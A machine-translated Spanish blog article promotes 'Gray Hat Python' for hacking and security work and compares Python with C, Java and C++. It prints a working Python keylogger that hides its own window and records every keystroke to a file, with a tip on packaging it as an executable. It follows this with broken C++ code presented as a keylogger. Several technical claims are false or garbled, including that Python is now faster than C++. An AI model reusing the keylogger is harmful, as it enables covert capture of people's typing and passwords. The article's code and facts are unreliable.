Gray Hat Python - Entonces, hace dos años, cuando estaba investigando sobre lenguajes de programación, comencé a leer sobre C, C ++, Assembly, Python y Ruby. Quería convertirme en un experto en ciberseguridad. Entonces, comencé a aprender tanto como puedo. Comencé con C, C ++ y C # como elementos básicos, y después de aprender y compilar muchos programas y virus, finalmente comencé a aprender Kali Linux. Para aquellos que no saben qué es Kali Linux, es un sistema operativo para pruebas de penetración. Entonces, seguí con mis estudios y lo que vi fue que, la mayoría de los programas, virus y troyanos se compilaron en Python, y su base era Ruby.

Entonces, dejé mis estudios por el momento y comencé a aprender Python o, para ser precisos, Gray Hat Python y tadaa … Fue extremadamente fácil en comparación con C, C # o cualquier otro idioma que aprendí. Finalmente llegué a saber por qué Python era el lenguaje más utilizado y cómo se hizo famoso.
Entonces, hoy estaría discutiendo acerca de cómo Python se transformó en Gray Hat Python y por qué se usa tan ampliamente, que incluso Google y YouTube lo usan en su base de datos para proporcionar resultados de búsqueda lo más precisos posible.

Comenzando, Python es un lenguaje de programación de alto nivel, lo que significa que sus sintaxis son extremadamente fáciles de leer, incluso para principiantes. Si eres nuevo en programación, este sería el lenguaje con el que te sugiero que comiences. Dejame darte un ejemplo:

Así es como se ve en C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Así es como se ve en Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


Y así es como se ve en Python (v2.7)

print "Hello World"

¿Sencillo? Sí lo es. Entonces, Python no solo fue fácil de escribir y entender, sino también muy compacto. Entonces, ¿te estarás preguntando cómo esto llevó a Grey Hat Python?

Cursos recomendados

  • Entrenamiento de enrutamiento IP
  • Curso de Hackeo
  • Entrenamiento completo de RMAN
  • Entrenamiento de programación de Python

Python vs Grey Hat Python

Entonces, ¿qué es exactamente Gray Hat Python? ¿Por qué es tan diferente de nuestro Python normal? La cuestión es que Gray Hat Python no es más que programas escritos en Python por piratas informáticos, evaluadores de tensión de red e ingenieros inversos para crear o descifrar un programa. Pero el término Gray Hat se usa porque no es exactamente un software beneficioso o de usuario. Se utiliza para proteger o crear un software de seguridad.

Se puede usar fácilmente para probar las limitaciones de un entorno seguro o para entrar en un entorno seguro. Eso es lo que significa Gray Hat. Y es mucho más fácil hacerlo en Python que hacerlo en C, C ++ o Java. De ahí el nombre de Grey Hat Python. Pocos ejemplos en los que puedo pensar son:

• Escribir key-loggers (para hackers y pentesters)
• Escritura de scripts de Shell de seguridad (para administradores de red)
• Escribir un IDS automatizado (Sistema de detección de intrusos para ingenieros de seguridad)

Entonces, ahora sabes por qué y cómo Gray Hat Python es útil. Para elaborar esto, déjame darte algunos ejemplos detallados.
Es posible que haya oído hablar de Google App Engine. Google App Engine fue diseñado originalmente en Python antes de ser portado. Google App es un buen ejemplo de un programa escrito en Python, porque permite crear aplicaciones web utilizando su rica colección de bibliotecas, herramientas y framework de alta gama.

¿Alguna vez se preguntó por qué es tan fácil buscar algo en Google? La mayoría de las veces obtienes resultados de búsqueda que son 80% precisos. Esto se debe a que Python es extremadamente flexible, funciona a alta velocidad y las bases de datos son mucho más compactas aunque almacena una gran cantidad de información. Python es tan extensible que incluso YouTube lo usa para propósitos como ver videos, controlar plantillas, administrar videos, acceder a datos canónicos y muchos más.

Google tiene sus rastreadores y arañas que recopilan datos tan pronto como se cargan en la web, sin importar dónde o cuán seguros sean. Uno solo necesita una inspiración adecuada, tiempo y conocimiento para recopilar esta información.

Las búsquedas de Google se basaban anteriormente en Python, que luego cambió a C ++ para optimizar la velocidad porque los rastreadores de Google rastrean muchas páginas por segundo y cada una de ellas tarda unos minutos en rastrearse con éxito. Python, actualmente es mucho más rápido que C ++, pero ese no era el mismo caso hace unas décadas.

Hubo una famosa cita citada por Google: -
"Python donde podemos, C ++ donde debemos".

Por lo tanto, es posible que se pregunte cómo se puede usar esto para piratería, pentesting y seguridad de red. Siento disentir. Si pudiera crear un programa que tenga una precisión del 70% -80% para proporcionar resultados de búsqueda eficientes, entonces probablemente pueda crear una aplicación que pueda conectar sitios web, buscar de manera inteligente y crear un perfil de una persona que pueda ser utilizado por Sombreros Negros Individuales con fines maliciosos Deje a un lado a los Individuos, uno si es lo suficientemente inteligente, puede crear fácilmente una aplicación para crear el perfil de una empresa, todo su árbol desde su raíz hasta lo que se le ocurra …

Recopilación de información a través de Maltego

Puedes estar pensando que estoy exagerando un poco. No, no lo soy!

Piensa en ejemplos como Maltego. Maltego es un software o puedo reformularlo mejor como aplicación forense de código abierto, creada con el propósito de recopilar información y desarrollar el perfil de personas, empresas y otras agencias corporativas.

Uno solo necesita ingresar los datos adecuados en la aplicación, y el resto de cosas como vincular correos electrónicos, personas, grupos de personas, incluso determinar la infraestructura de Internet como Dominios, nombres DNS, Bloques de red y direcciones IP se pueden vincular e interconectar usando esta inteligencia de código abierto .

Para más información visite para saber ¿Qué es Maltego?

Entonces, si el acceso a "Información secreta" determina su éxito, entonces Maltego puede ayudarlo a descubrirlo. Maltego está parcialmente escrito en Python y también usa Java, que nuevamente es un gran lenguaje.

Hay mucho que citar sobre seguridad de Google. Para ser más precisos, Google es la forma mínima en que puede mantenerse anónimo en la web, sin importar si usa incógnito o www.duckduckgo.com de Chrome. Porque, en última instancia, todo se actualiza en la web. El punto aquí es que no se trata de invulnerabilidad, se trata de ser absolutamente vulnerable. Uno no puede limpiarse completamente de Internet. Pero seguramente se puede tratar de mantener la menor información posible en la Web.

Python no es solo un lenguaje, es un lenguaje de script. Los lenguajes de script le permiten escribir, modificar sus propias herramientas, cuando necesita algo más personalizado. Estas herramientas de seguridad de red dependen en gran medida del lenguaje de secuencias de comandos para la extensibilidad. Por ejemplo, tomemos Scapy.

Scapy está escrito puramente en Python. Es una poderosa herramienta interactiva de manipulación de paquetes. Puede generar paquetes falsos por sí mismo, escanear redes e incluso puede rastrear paquetes en la red.

Encuentre información detallada sobre ¿Qué es Scapy?

Ahora estos son programas complejos escritos por programadores avanzados. Veamos cuán simple es escribir un programa en Python que pueda ser fácilmente entendido por personas que tienen algunos buenos conceptos básicos en programación.

Este es un keylogger escrito en Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Entonces, esto es mucho más que fácil si me preguntas. Simplemente agregué los módulos pyhook, Pythoncom, win32gui y win32console que puedes descargar fácilmente desde el sitio web de sourceforge y he mencionado los comentarios usando la etiqueta hash. Pero si tengo que escribir el mismo programa en C ++, veamos qué tan difícil puede ser.

Este es un programa escrito en C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Entonces, esto es bastante grande en comparación con Python. Y si hablamos de eficiencia, Python puede compilarse fácilmente en un ejecutable sin ningún esfuerzo utilizando el software py2exe. Mientras que si hablo de C ++, francamente hablando, este código es una broma. Para escribir un registrador de claves adecuado, se necesita escribir una DLL que implemente el enlace WH_KEYBOARD. Además, este código está lejos de ser fácil de entender para un principiante.

Hacking de código abierto

Ahora esto se encarga de los piratas informáticos de Black Hat, que para ser más precisos son las personas que tienen la intención de destruir, manipular los datos para sus propias necesidades. Hablando desde el punto de vista de la preocupación por la seguridad, Python también es útil para los piratas informáticos de White Hat que tienen la intención de salvar a la sociedad del ataque de piratas informáticos maliciosos. Si desea desarrollar una carrera o al menos quiere aprender Python para la investigación de seguridad, entonces seguramente puede profundizar con OWASP, BRO o Quick NIX Secure Script.

OWASP es un proyecto de seguridad de aplicaciones web abiertas. OWASP tiene como objetivo crear una versión más segura de Python que facilite a los profesionales y desarrolladores de seguridad escribir software menos propenso al ataque de los piratas informáticos. Está relacionado con el análisis de Black-Box, identificando y abordando problemas relacionados con la seguridad que pueden afectar al intérprete interactivo de Python.

BRO es un programa de seguridad de red y monitor de tráfico, mientras que Quick NIX se utiliza para fortalecer y asegurar la propiedad de los archivos sobre la marcha.

Como estamos hablando de seguridad, hablemos de un sistema operativo que está parcialmente basado en Python. Python funciona muy bien con UNIX, LINUX y Debian. Uno de los sistemas operativos más famosos fue Backtrack 5. Se lanzaron diferentes versiones. Fue diseñado específicamente para PenTesting. Más tarde, la gente de Offensive Security pensó que Backtrack necesitaba un reinicio porque la mayoría de las herramientas no funcionaban correctamente o no eran compatibles.

Más tarde, lanzaron Kali Linux, que estaba totalmente basado en Debian. Y la mayor parte de su marco está en Ruby o Python. Ruby también es un lenguaje de script increíble. Pero en cualquier momento preferiría Python sobre eso, la razón es que Python tiene una comunidad más diversa con Linux y es más directo y fácil de depurar. Mientras que Ruby, aunque tiene muchas características y se adapta rápidamente a su entorno, puede ser difícil de depurar, difícil de leer y es más sofisticado que Python.

El mejor ejemplo sería como comparar Apple vs Linux o Comparar iphone vs Android. Apple es rica en recursos y es extremadamente suave, y está más sesgada hacia los principiantes. Mientras que Linux / Android es más fácil de usar, un poco lento y puede ser un dolor de cabeza a veces si no sabes cómo configurarlo o mantenerlo.

Incluso hay un libro basado en Python Grey Hat Hacking de Justin Seitz. Se ocupa específicamente de automatizar tediosas tareas relacionadas con la ingeniería inversa y la seguridad, diseñando su propio depurador, biblioteca e inyección de DLL, olfateando el tráfico seguro en una sesión cifrada y utilizando el depurador de inmunidad, Sulley y muchos más. Es un libro increíble, no importa si eres principiante o experto, siempre aprenderás algo o lo otro cada vez que lo leas.

Conclusión

Entonces, si es un principiante, Python sería la opción correcta para comenzar como su primer lenguaje de prueba de seguridad de programación.

Solo recuerda una cosa al final Gray Hat Python no es solo un lenguaje, es una forma de hacer las cosas de una manera adecuada y rápida.

Primera fuente de imagen: pixabay.com

Artículos relacionados:-

Aquí hay algunos artículos que lo ayudarán a obtener más detalles acerca de Gray Hat Python, así que simplemente vaya al enlace.

  1. Beneficios de las herramientas de seguridad cibernética que debe conocer
  2. Carrera profesional en Python
  3. Las 25 preguntas y respuestas más sorprendentes sobre la entrevista de Python
  4. ¿Cuáles son los beneficios y las limitaciones de usar Python?
  5. Python vs Node.js
  6. Guía de preguntas de la entrevista de seguridad cibernética
  7. Diferentes tipos de herramientas para pruebas de seguridad